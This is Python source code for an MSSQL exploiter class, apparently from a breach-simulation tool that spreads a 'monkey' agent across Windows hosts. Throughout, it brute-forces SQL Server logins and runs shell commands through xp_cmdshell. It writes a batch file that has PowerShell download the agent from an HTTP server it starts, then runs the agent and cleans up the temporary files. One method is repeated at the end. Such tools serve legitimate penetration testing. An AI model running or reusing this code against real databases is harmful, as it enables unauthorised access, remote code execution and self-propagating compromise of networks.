class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = 'MSSQL' _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = '1433' # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 128 XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" XP_CMDSHELL_COMMAND_END = "\"" EXPLOIT_COMMAND_PREFIX = "<nul set /p=" EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}" CREATE_COMMAND_SUFFIX = ">{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None self.monkey_server = None self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): """ First this method brute forces to get the mssql connection (cursor). Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs( ) self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) # Create dir for payload self.create_temp_dir() try: self.create_empty_payload_file() self.start_monkey_server() self.upload_monkey() self.stop_monkey_server() # Clear payload to pass in another command self.create_empty_payload_file() self.run_monkey() self.remove_temp_dir() except Exception as e: raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2] return True def run_payload_file(self): file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) return self.run_mssql_command(file_running_command) def create_temp_dir(self): dir_creation_command = MSSQLLimitedSizePayload( command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( payload_file_path=self.payload_file_path) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) def run_mssql_command(self, mssql_command): array_of_commands = mssql_command.split_into_array_of_smaller_payloads( ) if not array_of_commands: raise Exception( "Couldn't execute MSSQL exploiter because payload was too long" ) self.run_mssql_commands(array_of_commands) def run_monkey(self): monkey_launch_command = self.get_monkey_launch_command() self.run_mssql_command(monkey_launch_command) self.run_payload_file() def run_mssql_commands(self, cmds): for cmd in cmds: self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) def upload_monkey(self): monkey_download_command = self.write_download_command_to_payload() self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) def remove_temp_dir(self): # Remove temporary dir we stored payload at tmp_file_removal_command = MSSQLLimitedSizePayload( command="del {}".format(self.payload_file_path)) self.run_mssql_command(tmp_file_removal_command) tmp_dir_removal_command = MSSQLLimitedSizePayload( command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self): self.monkey_server = MonkeyHTTPServer(self.host) self.monkey_server.start() def stop_monkey_server(self): self.monkey_server.stop() def write_download_command_to_payload(self): monkey_download_command = self.get_monkey_download_command() self.run_mssql_command(monkey_download_command) return monkey_download_command def get_monkey_launch_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload(command="{} {} {}".format( dst_path, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ format(http_path=self.monkey_server.http_path, dst_path=dst_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( payload_file_path=self.payload_file_path) return MSSQLLimitedSizePayload(command=monkey_download_command, suffix=suffix, prefix=prefix) def brute_force(self, host, port, users_passwords_pairs_list): """ Starts the brute force connection attempts and if needed then init the payload process. Main loop starts here. Args: host (str): Host ip address port (str): Tcp port that the host listens to users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with Return: True or False depends if the whole bruteforce and attack process was completed successfully or not """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: try: # Core steps # Trying to connect conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) LOG.info( 'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}' .format(host, user, self._config.hash_sensitive_data(password))) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() return cursor except pymssql.OperationalError: self.report_login_attempt(False, user, password) # Combo didn't work, hopping to the next one pass LOG.warning( 'No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) raise RuntimeError("Bruteforce process failed on host: {0}".format( self.host.ip_addr))
def start_monkey_server(self): self.monkey_server = MonkeyHTTPServer(self.host) self.monkey_server.start()